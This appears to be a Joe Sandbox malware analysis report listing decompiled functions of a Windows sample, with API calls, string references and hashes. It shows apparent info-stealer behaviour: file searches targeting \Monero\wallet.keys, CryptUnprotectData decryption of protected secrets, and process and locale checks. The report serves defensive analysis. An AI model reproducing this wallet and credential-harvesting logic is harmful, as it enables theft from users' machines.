Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: cb70c4dc669b1592c97bc59da2cf3d21be929cac42756652d2c029a8d9f67ce4
Instruction ID: 5670f4f5190b1fa7a48d5b19c578197d06b7c33ecf65bbc4d69117e48106e818
Opcode Fuzzy Hash: cb70c4dc669b1592c97bc59da2cf3d21be929cac42756652d2c029a8d9f67ce4
Instruction Fuzzy Hash: 0212E072911128ABDB19FB60EC96FEE7378AF94300F404599F50A62095EF306F89CF95

Function 0091DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0092A740: lstrcpy.KERNEL32(00930E17,00000000), ref: 0092A788

Part of subcall function 0092A9B0: lstrlen.KERNEL32(?,01049D28,?,\Monero\wallet.keys,00930E17), ref: 0092A9C5
Part of subcall function 0092A9B0: lstrcpy.KERNEL32(00000000), ref: 0092AA04
Part of subcall function 0092A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0092AA12

Part of subcall function 0092A8A0: lstrcpy.KERNEL32(?,00930E17), ref: 0092A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00930C2E), ref: 0091DE5E
StrCmpCA.SHLWAPI(?,009314C8), ref: 0091DEAE
StrCmpCA.SHLWAPI(?,009314CC), ref: 0091DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0091E3E0
FindClose.KERNEL32(000000FF), ref: 0091E3F2

Strings

\*.*, xrefs: 0091DE26

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 8e0b0c889ef4f646b6d353ded3c02b1bc380e3e98296a8c5d69d41fc817d0a93
Instruction ID: ba4c98e8c997f210e7124965bd3c756d83015d5315908e333248bf131f716f8b
Opcode Fuzzy Hash: 8e0b0c889ef4f646b6d353ded3c02b1bc380e3e98296a8c5d69d41fc817d0a93
Instruction Fuzzy Hash: 44F18E729151289BDB15EB60EC95BEE7338BF98300F4045D9E41A62095EF306F8ACF65

Function 0091DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0092A740: lstrcpy.KERNEL32(00930E17,00000000), ref: 0092A788

Part of subcall function 0092A920: lstrcpy.KERNEL32(00000000,?), ref: 0092A972
Part of subcall function 0092A920: lstrcat.KERNEL32(00000000), ref: 0092A982

Part of subcall function 0092A9B0: lstrlen.KERNEL32(?,01049D28,?,\Monero\wallet.keys,00930E17), ref: 0092A9C5
Part of subcall function 0092A9B0: lstrcpy.KERNEL32(00000000), ref: 0092AA04
Part of subcall function 0092A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0092AA12

Part of subcall function 0092A8A0: lstrcpy.KERNEL32(?,00930E17), ref: 0092A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,009314B0,00930C2A), ref: 0091DAEB
StrCmpCA.SHLWAPI(?,009314B4), ref: 0091DB33
StrCmpCA.SHLWAPI(?,009314B8), ref: 0091DB49
FindNextFileA.KERNEL32(000000FF,?), ref: 0091DDCC
FindClose.KERNEL32(000000FF), ref: 0091DDDE

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 4f3401cf64b624c2b6ab98b81b5fbd11350560e227890ac30b75f3183d07da2b
Instruction ID: 57f5640c1af0da16150a8f3fc3a4edf0555256e8876c92bc0c2554332dbad02a
Opcode Fuzzy Hash: 4f3401cf64b624c2b6ab98b81b5fbd11350560e227890ac30b75f3183d07da2b
Instruction Fuzzy Hash: D6910573A00118ABCB14FB70FC56BED737DABC8300F408658F94A96195EE349B59CB96

Function 00CE29D8 Relevance: 11.7, Strings: 8, Instructions: 1693COMMON

Download Yara Rule

Strings

pk{?, xrefs: 00CE3800
zCj:, xrefs: 00CE3BD4
qZf, xrefs: 00CE3B35
Wg., xrefs: 00CE3149
4A+~, xrefs: 00CE323D
?\v_, xrefs: 00CE3889
^u, xrefs: 00CE3A08
X7_U, xrefs: 00CE352A

Memory Dump Source

Source File: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 4A+~$?\v_$Wg.$X7_U$pk{?$zCj:$qZf$^u
API String ID: 0-903456993
Opcode ID: 44b42ca738b520854632d733fb80238cbf3ecc9f5a3d9e15be55fd3205d637d9
Instruction ID: 9ca43fd22a24a7b574e78568fd99cc065a9015a3dcec1a926b5346023027d2aa
Opcode Fuzzy Hash: 44b42ca738b520854632d733fb80238cbf3ecc9f5a3d9e15be55fd3205d637d9
Instruction Fuzzy Hash: 94B25AF3A0C2149FE3046E2DEC85B7ABBD9EF94720F1A463DEAC4C3744E93558058696

Function 00927B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0092A740: lstrcpy.KERNEL32(00930E17,00000000), ref: 0092A788

GetKeyboardLayoutList.USER32(00000000,00000000,009305AF), ref: 00927BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00927BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00927C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00927C62
LocalFree.KERNEL32(00000000), ref: 00927D22

Strings

/ , xrefs: 00927C7F

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: dd4844e7255edc67f33177a350fc9081edd563250bc65d218b1d2f5fdc3cf0e7
Instruction ID: 398e2ec9b04ff176e42dcae4853fbadaf5df8f76693e2106687c63a0fc4e1e00
Opcode Fuzzy Hash: dd4844e7255edc67f33177a350fc9081edd563250bc65d218b1d2f5fdc3cf0e7
Instruction Fuzzy Hash: CB414171941228ABDB24DB94EC99BEDB778FF84700F2041D9E10972295DB342F85CFA1

Function 0091E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0092A740: lstrcpy.KERNEL32(00930E17,00000000), ref: 0092A788

Part of subcall function 0092A920: lstrcpy.KERNEL32(00000000,?), ref: 0092A972
Part of subcall function 0092A920: lstrcat.KERNEL32(00000000), ref: 0092A982

Part of subcall function 0092A9B0: lstrlen.KERNEL32(?,01049D28,?,\Monero\wallet.keys,00930E17), ref: 0092A9C5
Part of subcall function 0092A9B0: lstrcpy.KERNEL32(00000000), ref: 0092AA04
Part of subcall function 0092A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0092AA12

Part of subcall function 0092A8A0: lstrcpy.KERNEL32(?,00930E17), ref: 0092A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00930D73), ref: 0091E4A2
StrCmpCA.SHLWAPI(?,009314F8), ref: 0091E4F2
StrCmpCA.SHLWAPI(?,009314FC), ref: 0091E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0091EBDF

Strings

\*.*, xrefs: 0091E44D

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 6712bcd45cbf57bf96de893f6cb25ca555eca226c9313955ae2f2885d374cfc3
Instruction ID: 734a2fe75a4d1c3eef98c18b9514a3cf1157f3f98e083bad8a16c702e8dd3441
Opcode Fuzzy Hash: 6712bcd45cbf57bf96de893f6cb25ca555eca226c9313955ae2f2885d374cfc3
Instruction Fuzzy Hash: EC1221739111289BDB18FB60EC96BED7379AFD4300F4045A8F50A66095EE306F89CF96

Function 00CDA476 Relevance: 7.9, Strings: 5, Instructions: 1666COMMON

Download Yara Rule

Strings

Uj'n, xrefs: 00CDAB98
{%>, xrefs: 00CDAEB2
[x??, xrefs: 00CDB262
2/|}, xrefs: 00CDB179
jN, xrefs: 00CDB715

Memory Dump Source

Source File: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 2/|}$Uj'n$[x??$jN${%>
API String ID: 0-3800172134
Opcode ID: adda45f2d7e211389063918ab9998da79f8f78658fbdbc01ae52f9b338f79a09
Instruction ID: 9219a7b68b726ad14bd3dc688c50cf470072f99ec3357afe9d1d286bcf95abf9
Opcode Fuzzy Hash: adda45f2d7e211389063918ab9998da79f8f78658fbdbc01ae52f9b338f79a09
Instruction Fuzzy Hash: C5B217F3A0C2149FE3046E2DEC8567ABBE9EFD4720F1A893DE6C4C7744E93558058692

Function 0091C820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0091C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0091C87C
lstrcat.KERNEL32(?,00930B46), ref: 0091C943
lstrcat.KERNEL32(?,00930B47), ref: 0091C957
lstrcat.KERNEL32(?,00930B4E), ref: 0091C978

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: a7adba6e54ab5bfeb70a63fc608e14bd034e49f8f9cd2c2ef1d2802f522892a5
Instruction ID: 0d3a9dd0329f64a185c10cc5a4710af7098305714da30b7be5ee2569f219865c
Opcode Fuzzy Hash: a7adba6e54ab5bfeb70a63fc608e14bd034e49f8f9cd2c2ef1d2802f522892a5
Instruction Fuzzy Hash: 8B4150B590431EDFDB10DFA0DD89BEEB7B8AB48305F1046A8E509A7280DB745A84CF91

Function 00917240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 0091724D
RtlAllocateHeap.NTDLL(00000000), ref: 00917254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00917281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 009172A4
LocalFree.KERNEL32(?), ref: 009172AE

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: a6d86ff7ac61dc19d05a4b04a167a484cfb034d701dea96c7181bd86e9d784af
Instruction ID: c43a6492e15a3e80da8b8ca15701730d179a3ec2890ea7e48b067b63fcb44b2a
Opcode Fuzzy Hash: a6d86ff7ac61dc19d05a4b04a167a484cfb034d701dea96c7181bd86e9d784af
Instruction Fuzzy Hash: 10010075B40308BBDB10DBD4CD45F9D77B8AB44701F104594FB15BB2C0DA70AA018B65

Function 00929600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0092961E
Process32First.KERNEL32(00930ACA,00000128), ref: 00929632
Process32Next.KERNEL32(00930ACA,00000128), ref: 00929647
StrCmpCA.SHLWAPI(?,00000000), ref: 0092965C
CloseHandle.KERNEL32(00930ACA), ref: 0092967A

Memory Dump Source

Source File: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 61912aa855ab2f452080db22146c88ab8c1f972442d5e261a777cc3ad2b54a95
Instruction ID: 5a83d954aa12e78b864d5d479f8aa8f2f27aa0fe2de8ffab9d59ecc51205e9e3
Opcode Fuzzy Hash: 61912aa855ab2f452080db22146c88ab8c1f972442d5e261a777cc3ad2b54a95
Instruction Fuzzy Hash: 9B010C75A00318ABCB14DFA5DD58BEDBBF8FB48701F1042C8A909A7240DB349B44CF51

Function 00CDF96C Relevance: 7.4, Strings: 5, Instructions: 1153COMMON

Download Yara Rule

Strings

gB={, xrefs: 00CE027F
s__, xrefs: 00CDFC0D
>^', xrefs: 00CE0045
4F\, xrefs: 00CDFBD0
2o<, xrefs: 00CDFE9E

Memory Dump Source

Source File: 00000000.00000002.1746375557.0000000000B6E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00910000, based on PE: true

Associated: 00000000.00000002.1746202466.0000000000910000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.00000000009F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746217241.0000000000B5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000CF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000DF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E00000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746375557.0000000000E0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746689438.0000000000E0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746906600.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746933560.0000000000FAA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 2o<$4F\$>^'$gB={$s__
API String ID: 0-1767298100
Opcode ID: 56511569f446b05eb67512e9d9c271479ef0d185173caced42b7b8f550e77787
Instruction ID: 0ef765fbde70319c99776f8ca52b47ba01c5830910a1ecf0ffa33a57530e512b
Opcode Fuzzy Hash: 56511569f446b05eb67512e9d9c271479ef0d185173caced42b7b8f550e77787
Instruction Fuzzy Hash: C67205F36082009FE704AE2DEC8177ABBE9EF94320F16493DE6C5C7744E67598058697

Function 00CE4AAA Relevance: 7.3, Strings: 5, Instructions: 1099COMMON

Download Yara Rule

Strings

e{@, xrefs: 00CE5060
